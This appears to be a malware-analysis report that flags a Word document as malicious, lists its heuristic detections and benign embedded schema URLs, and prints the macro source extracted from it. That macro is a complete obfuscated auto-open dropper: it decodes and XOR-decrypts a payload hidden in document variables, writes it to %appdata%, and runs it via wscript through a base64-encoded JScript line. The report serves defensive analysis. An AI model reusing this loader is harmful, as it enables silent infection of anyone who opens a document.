MALICIOUS
230
Risk Score
Heuristics 7
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VBA project inside OOXML medium 5 related findings OOXML_VBADocument contains a VBA project — VBA macros present
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WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Set shellobj = CreateObject("wscript.shell") -
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
With CreateObject("ADODB.Stream") -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
With CreateObject("ADODB.Stream") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
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Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Sub Document_Open() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/2019/extlstIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2023/wordml/word16duIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2024/wordml/sdtformatlockIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
- http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
- http://www.gimp.org/xmp/In document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 3096 bytes |
SHA-256: f5ae0521a668231741f4aa03e999c17bfb306e1f81bc63fe27c77397f2d87bd7 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function getElement(ind)
Dim strs
ReDim strs(6)
strs(0) = "bin"
strs(1) = "MSXML"
strs(2) = "base"
strs(3) = 8 * 8
strs(4) = "DOMDocument"
strs(5) = "."
getElement = strs(ind)
End Function
Function EncryptDecrypt(data() As Byte, key As String) As Byte()
Dim resultBytes() As Byte
Dim keyBytes
Dim keyLength
Dim i
keyBytes = StringToBytes(key)
keyLength = UBound(keyBytes) + 1
ReDim resultBytes(UBound(data))
For i = 0 To UBound(data)
resultBytes(i) = data(i) Xor keyBytes(i Mod keyLength)
Next
EncryptDecrypt = resultBytes
End Function
Function StringToBytes(s As String) As Byte()
With CreateObject("ADODB.Stream")
.Type = 2
.Charset = "utf-8"
.Open
.WriteText s
.Position = 0
.Type = 1
.Position = 3
StringToBytes = .Read
.Close
End With
End Function
Sub Document_Open()
Dim size
size = ThisDocument.Variables("chunkslen").Value
Dim d As String
Dim i As Long
For i = 0 To size - 1
d = d & CStr(ThisDocument.Variables("chunk" & i).Value)
Next i
Dim de() As Byte
With CreateObject(getElement(1) & CStr(8 / 4) & getElement(5) & getElement(4)).CreateElement("n1n")
.DataType = getElement(0) & getElement(5) & getElement(2) & CStr(getElement(3))
.Text = d
de = .NodeTypedValue
End With
Dim dec
dec = EncryptDecrypt(de, CStr(ThisDocument.Variables("enckey").Value))
Dim shellobj
Set shellobj = CreateObject("wscript.shell")
Dim pe
pe = shellobj.expandenvironmentstrings("%appdata%") & "\" & CStr(ThisDocument.Variables("filename").Value)
On Error Resume Next
With CreateObject("ADODB.Stream")
.Type = 1
.Open
.Write dec
.SaveToFile pe
.Close
End With
Dim inputz
inputz = "b1NoZWxsLnJ1bigid3NjcmlwdC5leGUgXCJ7cGV9XCIiLCAwLCBmYWxzZSk7"
Dim byt
With CreateObject("MSXML" & CStr(16 / 8) & getElement(5) & "DOMDocument").CreateElement("tom")
.DataType = getElement(0) & "." & getElement(2) & CStr(getElement(3))
.Text = inputz
inputz = .NodeTypedValue
End With
With CreateObject("ADODB.Stream")
.Type = 1
.Open
.Write inputz
.Position = 0
.Type = 2
.Charset = "us-ascii"
byt = Replace(.ReadText(), "{pe}", Replace(pe, "\", "\\"))
.Close
End With
With CreateObject("MSScriptControl.ScriptControl")
.Language = "JScript"
.AddObject "oShell", shellobj, True
.ExecuteStatement (byt)
End With
End Sub
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vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 13312 bytes |
SHA-256: 3c57e90792ebbf7cbf2e605d188c2c97a21370088a8c693aa3fcb47038528529 |
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